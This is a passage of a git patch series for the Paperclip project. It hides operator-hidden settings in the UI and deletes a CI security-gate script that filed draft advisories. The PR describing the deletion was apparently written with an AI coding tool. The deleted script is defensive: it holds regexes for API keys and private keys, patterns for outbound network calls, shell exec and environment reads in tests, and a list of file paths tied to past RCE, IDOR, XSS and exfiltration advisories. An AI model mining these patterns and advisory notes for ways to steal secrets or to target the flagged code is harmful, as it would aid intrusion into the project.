expect( + filterHiddenInstanceSettingsPath("/company/settings/instance/plugins", new Set()), + ).toBe("/company/settings/instance/plugins"); + }); +}); diff --git a/ui/src/lib/instance-settings.ts b/ui/src/lib/instance-settings.ts index a6945db15d0..6f9dfcb0777 100644 --- a/ui/src/lib/instance-settings.ts +++ b/ui/src/lib/instance-settings.ts @@ -79,3 +79,23 @@ export function normalizeRememberedInstanceSettingsPath(rawPath: string | null): return DEFAULT_INSTANCE_SETTINGS_PATH; } + +/** + * Remaps a remembered instance-settings path onto the settings root when its + * page is hidden by the hosting operator (`hidden` holds keys from the shared + * settings-visibility registry). Saves a redirect hop; the route-level + * HiddenSettingsPageGate stays the enforcement point. + */ +export function filterHiddenInstanceSettingsPath( + normalizedPath: string, + hidden: ReadonlySet, +): string { + const { pathname } = splitPath(normalizedPath); + const suffix = instanceSettingsSuffix(pathname); + if (!suffix) return normalizedPath; + const page = suffix.split("/")[1]; + if (page && page !== "general" && hidden.has(`instance.${page}`)) { + return DEFAULT_INSTANCE_SETTINGS_PATH; + } + return normalizedPath; +} diff --git a/ui/src/pages/InstanceExperimentalSettings.test.tsx b/ui/src/pages/InstanceExperimentalSettings.test.tsx index 87cdfef1c8f..ad33e394e9f 100644 --- a/ui/src/pages/InstanceExperimentalSettings.test.tsx +++ b/ui/src/pages/InstanceExperimentalSettings.test.tsx @@ -931,3 +931,55 @@ describe("InstanceExperimentalSettings — card ordering and headings (PAP-393)" expect(badges).not.toContain("Experimental"); }); }); + +describe("InstanceExperimentalSettings — operator-hidden cards", () => { + let container: HTMLDivElement; + let root: Root | null = null; + let queryClient: QueryClient; + + beforeEach(() => { + container = document.createElement("div"); + document.body.appendChild(container); + }); + + afterEach(() => { + flushSync(() => root?.unmount()); + root = null; + queryClient?.clear(); + container.remove(); + vi.clearAllMocks(); + }); + + async function renderPage(hiddenSettings?: string[]) { + mockInstanceSettingsApi.getExperimental.mockResolvedValue(defaultExperimentalSettings()); + root = createRoot(container); + queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + queryClient.setQueryData(queryKeys.health, { + status: "ok", + ...(hiddenSettings ? { hiddenSettings } : {}), + }); + flushSync(() => { + root!.render( + + + , + ); + }); + await flushReact(); + } + + it("renders nothing for an operator-hidden toggle and keeps the rest", async () => { + await renderPage(["instance.experimental.enableEnvironments"]); + + expect(container.textContent).not.toContain("Enable Environments"); + expect(container.textContent).toContain("Beta skills"); + expect(container.textContent).toContain("Task Watchdogs"); + }); + + it("shows every toggle when nothing is hidden", async () => { + await renderPage(); + + expect(container.textContent).toContain("Enable Environments"); + expect(container.textContent).toContain("Beta skills"); + }); +}); diff --git a/ui/src/pages/InstanceExperimentalSettings.tsx b/ui/src/pages/InstanceExperimentalSettings.tsx index b3321e57cd6..672a516ddb5 100644 --- a/ui/src/pages/InstanceExperimentalSettings.tsx +++ b/ui/src/pages/InstanceExperimentalSettings.tsx @@ -4,11 +4,14 @@ import { AlertTriangle, Clock, FlaskConical, Lock, Play, Search } from "lucide-r import type { InstanceExperimentalSettings, InstanceExperimentalSettingsWithManaged, + InstanceFeatureKey, IssueGraphLivenessAutoRecoveryPreview, ManagedSettingMetadata, PatchInstanceExperimentalSettings, } from "@paperclipai/shared"; +import { experimentalSettingKey } from "@paperclipai/shared"; import { instanceSettingsApi } from "@/api/instanceSettings"; +import { useHiddenSettings } from "@/hooks/useHiddenSettings"; import { getWorktreeInstanceId, isWorktreeRuntime } from "../lib/worktree-branding"; import { useBreadcrumbs } from "../context/BreadcrumbContext"; import { queryKeys } from "../lib/queryKeys"; @@ -92,6 +95,7 @@ function ExperimentalToggleCard({ checked, onCheckedChange, disabled, + settingKey, managed, ariaLabel, }: { @@ -101,10 +105,14 @@ function ExperimentalToggleCard({ checked: boolean; onCheckedChange: (checked: boolean) => void; disabled: boolean; + /** Flag key backing this card; operator-hidden keys render nothing. */ + settingKey: InstanceFeatureKey; managed?: ManagedSettingMetadata; ariaLabel: string; }) { + const { hidden: hiddenSettings } = useHiddenSettings(); const isManaged = managed?.managed === true; + if (hiddenSettings.has(experimentalSettingKey(settingKey))) return null; return (
    @@ -465,6 +473,7 @@ export function InstanceExperimentalSettings() { checked={enableApps} onCheckedChange={(checked) => toggleMutation.mutate({ enableApps: checked })} disabled={toggleMutation.isPending} + settingKey="enableApps" managed={managedKeys.enableApps} ariaLabel="Toggle apps experimental setting" /> @@ -565,6 +574,7 @@ export function InstanceExperimentalSettings() { checked={autoRestartDevServerWhenIdle} onCheckedChange={(checked) => toggleMutation.mutate({ autoRestartDevServerWhenIdle: checked })} disabled={toggleMutation.isPending} + settingKey="autoRestartDevServerWhenIdle" managed={managedKeys.autoRestartDevServerWhenIdle} ariaLabel="Toggle guarded dev-server auto-restart" /> @@ -575,6 +585,7 @@ export function InstanceExperimentalSettings() { checked={enableBetaSkills} onCheckedChange={(checked) => toggleMutation.mutate({ enableBetaSkills: checked })} disabled={toggleMutation.isPending} + settingKey="enableBetaSkills" managed={managedKeys.enableBetaSkills} ariaLabel="Toggle beta skills experimental setting" /> @@ -585,6 +596,7 @@ export function InstanceExperimentalSettings() { checked={enableBuiltInAgents} onCheckedChange={(checked) => toggleMutation.mutate({ enableBuiltInAgents: checked })} disabled={toggleMutation.isPending} + settingKey="enableBuiltInAgents" managed={managedKeys.enableBuiltInAgents} ariaLabel="Toggle built-in agents experimental setting" /> @@ -596,6 +608,7 @@ export function InstanceExperimentalSettings() { checked={enableCases} onCheckedChange={(checked) => toggleMutation.mutate({ enableCases: checked })} disabled={toggleMutation.isPending} + settingKey="enableCases" managed={managedKeys.enableCases} ariaLabel="Toggle cases experimental setting" /> @@ -607,6 +620,7 @@ export function InstanceExperimentalSettings() { checked={enableClassicTaskInterface} onCheckedChange={(checked) => toggleMutation.mutate({ enableClassicTaskInterface: checked })} disabled={toggleMutation.isPending} + settingKey="enableClassicTaskInterface" managed={managedKeys.enableClassicTaskInterface} ariaLabel="Toggle classic task interface experimental setting" /> @@ -618,6 +632,7 @@ export function InstanceExperimentalSettings() { checked={enableConferenceRoomChat} onCheckedChange={(checked) => toggleMutation.mutate({ enableConferenceRoomChat: checked })} disabled={toggleMutation.isPending} + settingKey="enableConferenceRoomChat" managed={managedKeys.enableConferenceRoomChat} ariaLabel="Toggle conference room chat experimental setting" /> @@ -629,6 +644,7 @@ export function InstanceExperimentalSettings() { checked={enableDecisions} onCheckedChange={(checked) => toggleMutation.mutate({ enableDecisions: checked })} disabled={toggleMutation.isPending} + settingKey="enableDecisions" managed={managedKeys.enableDecisions} ariaLabel="Toggle decisions experimental setting" /> @@ -639,6 +655,7 @@ export function InstanceExperimentalSettings() { checked={enableEnvironments} onCheckedChange={(checked) => toggleMutation.mutate({ enableEnvironments: checked })} disabled={toggleMutation.isPending} + settingKey="enableEnvironments" managed={managedKeys.enableEnvironments} ariaLabel="Toggle environments experimental setting" /> @@ -649,6 +666,7 @@ export function InstanceExperimentalSettings() { checked={enableExternalObjects} onCheckedChange={(checked) => toggleMutation.mutate({ enableExternalObjects: checked })} disabled={toggleMutation.isPending} + settingKey="enableExternalObjects" managed={managedKeys.enableExternalObjects} ariaLabel="Toggle external objects experimental setting" /> @@ -659,6 +677,7 @@ export function InstanceExperimentalSettings() { checked={enableIsolatedWorkspaces} onCheckedChange={(checked) => toggleMutation.mutate({ enableIsolatedWorkspaces: checked })} disabled={toggleMutation.isPending} + settingKey="enableIsolatedWorkspaces" managed={managedKeys.enableIsolatedWorkspaces} ariaLabel="Toggle isolated workspaces experimental setting" /> @@ -669,6 +688,7 @@ export function InstanceExperimentalSettings() { checked={enableExperimentalFileViewer} onCheckedChange={(checked) => toggleMutation.mutate({ enableExperimentalFileViewer: checked })} disabled={toggleMutation.isPending} + settingKey="enableExperimentalFileViewer" managed={managedKeys.enableExperimentalFileViewer} ariaLabel="Toggle experimental file viewer setting" /> @@ -679,6 +699,7 @@ export function InstanceExperimentalSettings() { checked={enableGoalsSidebarLink} onCheckedChange={(checked) => toggleMutation.mutate({ enableGoalsSidebarLink: checked })} disabled={toggleMutation.isPending} + settingKey="enableGoalsSidebarLink" managed={managedKeys.enableGoalsSidebarLink} ariaLabel="Toggle goals sidebar link experimental setting" /> @@ -689,6 +710,7 @@ export function InstanceExperimentalSettings() { checked={enableManagedSandboxOnly} onCheckedChange={(checked) => toggleMutation.mutate({ enableManagedSandboxOnly: checked })} disabled={toggleMutation.isPending} + settingKey="enableManagedSandboxOnly" managed={managedKeys.enableManagedSandboxOnly} ariaLabel="Toggle managed sandbox only experimental setting" /> @@ -756,6 +778,7 @@ export function InstanceExperimentalSettings() { checked={enableServerInfoDebugView} onCheckedChange={(checked) => toggleMutation.mutate({ enableServerInfoDebugView: checked })} disabled={toggleMutation.isPending} + settingKey="enableServerInfoDebugView" managed={managedKeys.enableServerInfoDebugView} ariaLabel="Toggle server info debug view experimental setting" /> @@ -768,6 +791,7 @@ export function InstanceExperimentalSettings() { toggleMutation.mutate({ enableSimplifiedEnglishInteractions: checked }) } disabled={toggleMutation.isPending} + settingKey="enableSimplifiedEnglishInteractions" managed={managedKeys.enableSimplifiedEnglishInteractions} ariaLabel="Toggle simplified english interactions experimental setting" /> @@ -778,6 +802,7 @@ export function InstanceExperimentalSettings() { checked={enableSmokeLab} onCheckedChange={(checked) => toggleMutation.mutate({ enableSmokeLab: checked })} disabled={toggleMutation.isPending} + settingKey="enableSmokeLab" managed={managedKeys.enableSmokeLab} ariaLabel="Toggle smoke lab experimental setting" /> @@ -795,6 +820,7 @@ export function InstanceExperimentalSettings() { ) } disabled={toggleMutation.isPending || statusCardsBlockedByManagedSummaries} + settingKey="enableStatusCards" managed={managedKeys.enableStatusCards} ariaLabel="Toggle status cards experimental setting" /> @@ -812,6 +838,7 @@ export function InstanceExperimentalSettings() { ) } disabled={toggleMutation.isPending || summariesRequiredByManagedStatusCards} + settingKey="enableSummaries" managed={managedKeys.enableSummaries} ariaLabel="Toggle summaries experimental setting" /> @@ -822,6 +849,7 @@ export function InstanceExperimentalSettings() { checked={enableIssuePlanDecompositions} onCheckedChange={(checked) => toggleMutation.mutate({ enableIssuePlanDecompositions: checked })} disabled={toggleMutation.isPending} + settingKey="enableIssuePlanDecompositions" managed={managedKeys.enableIssuePlanDecompositions} ariaLabel="Toggle task plan decomposition panel experimental setting" /> @@ -832,6 +860,7 @@ export function InstanceExperimentalSettings() { checked={enableTaskWatchdogs} onCheckedChange={(checked) => toggleMutation.mutate({ enableTaskWatchdogs: checked })} disabled={toggleMutation.isPending} + settingKey="enableTaskWatchdogs" managed={managedKeys.enableTaskWatchdogs} ariaLabel="Toggle task watchdogs experimental setting" /> diff --git a/ui/src/pages/InstanceGeneralSettings.test.tsx b/ui/src/pages/InstanceGeneralSettings.test.tsx index 9f6665a2fff..87cc64f2e44 100644 --- a/ui/src/pages/InstanceGeneralSettings.test.tsx +++ b/ui/src/pages/InstanceGeneralSettings.test.tsx @@ -205,3 +205,67 @@ describe("InstanceGeneralSettings sign-out", () => { await vi.waitFor(() => expect(signOutButton()?.disabled).toBe(false)); }); }); + +describe("InstanceGeneralSettings operator-hidden sections", () => { + let container: HTMLDivElement; + let root: Root | null; + let queryClient: QueryClient; + + beforeEach(() => { + container = document.createElement("div"); + document.body.appendChild(container); + root = null; + queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + mockInstanceSettingsApi.getGeneral.mockResolvedValue({ + censorUsernameInLogs: false, + keyboardShortcuts: false, + feedbackDataSharingPreference: "not_allowed", + backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 }, + }); + }); + + afterEach(() => { + flushSync(() => root?.unmount()); + queryClient.clear(); + container.remove(); + vi.clearAllMocks(); + }); + + async function renderPage(health: Record) { + mockHealthApi.get.mockResolvedValue(health); + queryClient.setQueryData(queryKeys.health, health); + root = createRoot(container); + flushSync(() => { + root?.render( + + + , + ); + }); + await vi.waitFor(() => expect(container.textContent).toContain("Keyboard shortcuts")); + } + + it("hides an operator-hidden field-backed section and a UI-only section", async () => { + await renderPage({ + ...SELF_HOSTED_HEALTH, + hiddenSettings: [ + "instance.general.censorUsernameInLogs", + "instance.general.deploymentStatus", + ], + }); + + expect(container.textContent).not.toContain("Censor username in logs"); + expect(container.textContent).not.toContain("Deployment and auth"); + expect(container.textContent).toContain("Backup retention"); + expect(container.textContent).toContain("AI feedback sharing"); + expect(container.textContent).toContain("Sign out"); + }); + + it("shows every section when nothing is hidden", async () => { + await renderPage(SELF_HOSTED_HEALTH); + + expect(container.textContent).toContain("Deployment and auth"); + expect(container.textContent).toContain("Censor username in logs"); + expect(container.textContent).toContain("Backup retention"); + }); +}); diff --git a/ui/src/pages/InstanceGeneralSettings.tsx b/ui/src/pages/InstanceGeneralSettings.tsx index 21c6a1c8a87..a3f5d0cccd2 100644 --- a/ui/src/pages/InstanceGeneralSettings.tsx +++ b/ui/src/pages/InstanceGeneralSettings.tsx @@ -61,7 +61,7 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole }, }); - if (generalQuery.isLoading) { + if (generalQuery.isLoading || healthQuery.isLoading) { return
    Loading general settings...
    ; } @@ -79,6 +79,22 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole const keyboardShortcuts = generalQuery.data?.keyboardShortcuts === true; const feedbackDataSharingPreference = generalQuery.data?.feedbackDataSharingPreference ?? "prompt"; const backupRetention: BackupRetentionPolicy = generalQuery.data?.backupRetention ?? DEFAULT_BACKUP_RETENTION; + const hiddenSettings = new Set(healthQuery.data?.hiddenSettings ?? []); + const showDeploymentStatus = !hiddenSettings.has("instance.general.deploymentStatus"); + const showCensorUsernameInLogs = !hiddenSettings.has("instance.general.censorUsernameInLogs"); + const showKeyboardShortcuts = !hiddenSettings.has("instance.general.keyboardShortcuts"); + const showBackupRetention = !hiddenSettings.has("instance.general.backupRetention"); + const showFeedbackDataSharing = !hiddenSettings.has("instance.general.feedbackDataSharingPreference"); + const showSignOut = !hiddenSettings.has("instance.general.signOut"); + const visibleTopics = [ + ...(showCensorUsernameInLogs ? ["log display"] : []), + ...(showKeyboardShortcuts ? ["keyboard shortcuts"] : []), + ...(showBackupRetention ? ["backup retention"] : []), + ...(showFeedbackDataSharing ? ["data sharing"] : []), + ]; + const topicSummary = visibleTopics.length > 2 + ? `${visibleTopics.slice(0, -1).join(", ")}, and ${visibleTopics[visibleTopics.length - 1]}` + : visibleTopics.join(" and "); const visibleActionError = signOutMutation.error instanceof Error ? signOutMutation.error.message : signOutMutation.error @@ -94,8 +110,8 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole

    General

    - Configure instance-wide preferences including log display, keyboard shortcuts, backup - retention, and data sharing. + Configure instance-wide preferences + {visibleTopics.length > 0 ? <> including {topicSummary} : null}.

    ) : null} @@ -106,6 +122,7 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole )} + {showDeploymentStatus && (
    @@ -138,7 +155,9 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole
    + )} + {showCensorUsernameInLogs && (
    @@ -157,7 +176,9 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole />
    + )} + {showKeyboardShortcuts && (
    @@ -175,7 +196,9 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole />
    + )} + {showBackupRetention && (
    @@ -277,7 +300,9 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole
    + )} + {showFeedbackDataSharing && (
    @@ -354,6 +379,9 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole
    + )} + + {showSignOut && (
    @@ -376,6 +404,7 @@ export function InstanceGeneralSettings({ embedded = false }: { embedded?: boole
    + )} ); } From fd106c6fa6782d559f22769317174ce0010b38f8 Mon Sep 17 00:00:00 2001 From: Andrew Aymeloglu Date: Thu, 20 Aug 2026 20:19:11 -0500 Subject: [PATCH 8/8] ci(commitperclip): remove the security gate that filed a draft advisory per PR (#11828) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Thinking Path > - Paperclip's `commitperclip-review` workflow runs `check-pr-security.mjs` on every PR and files a **draft security advisory** whenever one of its heuristics fires (#6469). > - The heuristics fire on most ordinary PRs: any change under `server/src/routes/agents.ts` / `companies.ts` / `approvals.ts` / `authz.ts` / `MarkdownBody.tsx`, any test file containing `fetch(` / `exec(` / `process.env.X`, any `key: "<20+ chars>"` string (it flagged `pluginKey: "paperclipai.plugin-llm-wiki"`), any touch of `.github/workflows/`. > - The repository now holds **1,566 commitperclip-authored draft advisories** against ~99 human-reported ones, burying the reports that matter under the 🔒 Security tab. > - Nothing consumes them: no code reads the drafts, nothing reads the `security-review` check run the script also posts, and `master` has no required status checks. The "Review and dismiss if not a real concern" footer assumed a human triage loop that never existed. > - A second bug made it worse: the advisories endpoint is cursor-paginated and ignores `page=`, so `findExistingDraftAdvisory` only ever saw the newest 100 drafts and re-flagged PRs got a second draft (1,566 drafts for 1,386 distinct PRs; 136 PRs have 2+). > - Removing the gate stops the flood at the source; the quality gates and Dependency Review carry on unchanged. ## Linked Issues or Issue Description **Problem:** `check-pr-security.mjs` files a draft security advisory for nearly every PR, flooding the repository's advisory list with bot-authored noise that no one reads. Human-reported advisories in `triage` state are buried among ~1,560 `🚨 Security flag — PR #NNNN` drafts. **Expected:** the advisory list contains only real vulnerability reports. Heuristic PR checks, if wanted at all, do not create disclosure records. ## What Changed - Deleted `.github/scripts/check-pr-security.mjs` and `.github/scripts/tests/check-pr-security.test.mjs`. - Removed the `Run security gates` step from `.github/workflows/commitperclip-review.yml`, and the `security-events: write` permission that only it used. - No other script imports from the removed module (`resolveBaseRef` lives in `check-pr-dependencies.mjs` and stays). ## Verification - `node --test .github/scripts/tests/*.test.mjs` → 114 pass, 0 fail. - `grep -rn check-pr-security .github` → no remaining references. - The 1,563 existing bot drafts are being closed out-of-band via the API (there is no delete endpoint for advisories). ## Risks - Low. The only behaviour removed is the draft-advisory filing and the informational `security-review` check run, neither of which is consumed by code or branch protection. - Recommended follow-up for an org admin: drop `security_advisories: write` from the commitperclip App's permissions so no workflow can recreate this. ## Model Used Claude Fable 5 (claude-fable-5) via Claude Code, with tool use: GitHub API reads, file edits, local test runs. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have run tests locally and they pass - [x] I have considered and documented any risks above 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_016HitAcRu3NW5YDeBxXxePi --------- Co-authored-by: Claude Fable 5 --- .github/scripts/check-pr-security.mjs | 393 ------------------ .../scripts/tests/check-pr-security.test.mjs | 380 ----------------- .github/workflows/commitperclip-review.yml | 11 - docs/adapters/codex-local.md | 8 +- 4 files changed, 4 insertions(+), 788 deletions(-) delete mode 100644 .github/scripts/check-pr-security.mjs delete mode 100644 .github/scripts/tests/check-pr-security.test.mjs diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs deleted file mode 100644 index 2361b2bf364..00000000000 --- a/.github/scripts/check-pr-security.mjs +++ /dev/null @@ -1,393 +0,0 @@ -#!/usr/bin/env node -/** - * check-pr-security.mjs - * Runs 6 security checks against a PR diff. Never posts public comments. - * Creates a draft security advisory in the repo if any check fires. - * - * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR - * Exit: always 0 — security flags are silent, never block the PR visibly. - */ -import { fileURLToPath } from 'node:url'; -import { ghFetch } from './get-bot-token.mjs'; -import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs'; -import { resolveBaseRef } from './check-pr-dependencies.mjs'; - -// ── Pure check functions (exported for testing) ─────────────────────────────── - -const SECRET_PATTERNS = [ - { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ }, - { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ }, - { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ }, - { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ }, - { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i }, -]; - -export function scanSecrets(files) { - const flags = []; - for (const file of files) { - if (!file.patch) continue; - const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')); - for (const line of added) { - for (const { name, re } of SECRET_PATTERNS) { - if (re.test(line)) { - flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) }); - } - } - } - } - return flags; -} - -const CI_BUILD_SCRIPTS = [ - 'scripts/release.sh', - 'scripts/check-docker-deps-stage.mjs', - 'scripts/check-release-package-bootstrap.mjs', - 'scripts/release-package-map.mjs', - 'scripts/docker-onboard-smoke.sh', -]; - -export function scanCITampering(files) { - return files - .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed') - .map(f => ({ check: 'ci-tampering', file: f.filename })); -} - -export function scanBuildScripts(files) { - return files - .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed') - .map(f => ({ check: 'build-script-change', file: f.filename })); -} - -export function scanSupplyChain(files) { - const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml'); - if (!lockfile?.patch) return []; - - const added = new Set(); - const removed = new Set(); - - for (const line of lockfile.patch.split('\n')) { - const entry = parseLockfilePackageDiffEntry(line); - if (!entry) continue; - if (entry.sign === '+') added.add(entry.packageName); - if (entry.sign === '-') removed.add(entry.packageName); - } - - const netNew = [...added].filter(p => !removed.has(p)); - return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : []; -} - -function parseLockfilePackageDiffEntry(line) { - const match = line.match(/^([+-])\s*(.+?)\s*$/); - if (!match) return null; - - let [, sign, rawEntry] = match; - if (!rawEntry.endsWith(':')) return null; - - rawEntry = rawEntry.slice(0, -1).trim(); - if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) { - rawEntry = rawEntry.slice(1, -1); - } - rawEntry = rawEntry.replace(/\(.*$/, '').trim(); - - const versionSep = rawEntry.lastIndexOf('@'); - if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null; - - const packageName = rawEntry.slice(0, versionSep); - if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null; - - return { sign, packageName }; -} - -const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//; -const SUSPICIOUS_PATTERNS = [ - { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ }, - { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ }, - { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ }, - { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// }, -]; - -export function scanTestPatterns(files) { - const flags = []; - for (const file of files) { - if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue; - for (const { name, re } of SUSPICIOUS_PATTERNS) { - if (re.test(file.patch)) { - flags.push({ check: 'suspicious-test', file: file.filename, pattern: name }); - } - } - } - return flags; -} - -const SENSITIVE_PATHS = [ - // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes) - 'packages/adapters/codex-local/', - // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand - 'server/src/services/workspace-realization.ts', - 'server/src/routes/execution-workspaces.ts', - 'server/src/routes/workspace-command-authz.ts', - // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys - 'server/src/routes/agents.ts', - // Advisory 4: Approval decision attribution spoofing via decidedByUserId - 'server/src/routes/approvals.ts', - // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform) - 'ui/src/components/MarkdownBody.tsx', - // Advisory 7: Unauthenticated access to authenticated-mode endpoints - 'server/src/routes/authz.ts', - // Advisory 8: Unauthenticated RCE via import authorization bypass - 'server/src/routes/companies.ts', - // Advisory 9: Malicious skills able to exfiltrate / destroy user data - 'server/src/routes/company-skills.ts', - // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath - 'server/src/services/agent-instructions.ts', -]; - -export function scanSensitivePaths(files) { - return files - .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p))) - .map(f => ({ - check: 'sensitive-path', - file: f.filename, - advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)), - })); -} - -function buildContentsPath(repo, filename, ref) { - return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; -} - -export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) { - const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); - const stale = []; - await Promise.all(SENSITIVE_PATHS.map(async (path) => { - try { - await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token); - } catch (err) { - // 404 means the file/directory no longer exists at this path - if (String(err.message).includes('404')) stale.push(path); - // Other errors (network, rate limit) — re-throw so we don't silently miss them - else throw err; - } - })); - return stale; -} - -// ── Advisory creation ───────────────────────────────────────────────────────── - -const SEVERITY_MAP = { - 'supply-chain': 'critical', - 'sensitive-path': 'critical', - 'secret-scan': 'high', - 'ci-tampering': 'high', - 'suspicious-test': 'high', - 'build-script-change': 'medium', -}; - -const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical']; - -function worstSeverity(flags) { - return flags.reduce((worst, f) => { - const s = SEVERITY_MAP[f.check] ?? 'medium'; - return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst; - }, 'low'); -} - -export function buildAdvisoryPayload(prNumber, prTitle, flags) { - const checkNames = [...new Set(flags.map(f => f.check))].join(', '); - return { - summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`, - description: [ - `**PR:** #${prNumber} — ${prTitle}`, - `**Checks triggered:** ${checkNames}`, - '', - '**Details:**', - ...flags.map(f => [ - `- \`${f.check}\`: ${f.file ?? ''}`, - f.pattern ? ` (pattern: ${f.pattern})` : '', - f.packages ? ` (packages: ${f.packages.join(', ')})` : '', - f.line ? `\n \`${f.line}\`` : '', - ].join('')), - '', - '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.', - ].join('\n'), - severity: worstSeverity(flags), - vulnerabilities: [], - }; -} - -export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) { - const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber); - const payload = buildAdvisoryPayload(prNumber, prTitle, flags); - - if (existing) { - const advisoryId = existing.ghsa_id ?? existing.id; - if (!advisoryId) { - throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`); - } - - // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability"). - // The field is only valid on POST when creating the draft; updates must omit it. - const { vulnerabilities, ...patchPayload } = payload; - - return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, { - method: 'PATCH', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(patchPayload), - }); - } - - return fetchImpl(`/repos/${repo}/security-advisories`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(payload), - }); -} - -// Cap pagination so a large backlog of unrelated draft advisories cannot stall -// the security gate (it runs inside a 5-minute workflow timeout). -const MAX_DRAFT_ADVISORY_PAGES = 20; - -export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) { - const prMarker = `PR #${prNumber}`; - - for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) { - const advisories = await fetchImpl( - `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`, - token, - ); - - if (!Array.isArray(advisories) || advisories.length === 0) return null; - - const existing = advisories.find(advisory => - typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker) - ); - if (existing) return existing; - - if (advisories.length < 100) return null; - } - - console.warn( - `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` + - 'treating as new advisory. A duplicate draft may be created.', - ); - return null; -} - -export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) { - await fetchImpl(`/repos/${repo}/check-runs`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(hasFlags ? { - name: 'security-review', - head_sha: headSha, - // `completed/neutral` instead of `in_progress` so the check doesn't put - // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the - // durable signal for maintainers; there is no completion path that - // could ever flip an `in_progress` check-run back to completed on the - // same head SHA, so it would hang forever. - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - } : { - name: 'security-review', - head_sha: headSha, - status: 'completed', - conclusion: 'success', - output: { - title: 'Security Review Passed', - summary: 'No security concerns detected.', - }, - }), - }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -// Wall-clock budget for the whole script. The workflow job has a 5-minute -// timeout-minutes, and `continue-on-error: true` on a step does NOT override -// a job-level timeout — it only suppresses step failures. So if any API call -// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled, -// failing the `review` check. This watchdog enforces the script's documented -// "always exit 0" contract regardless of API 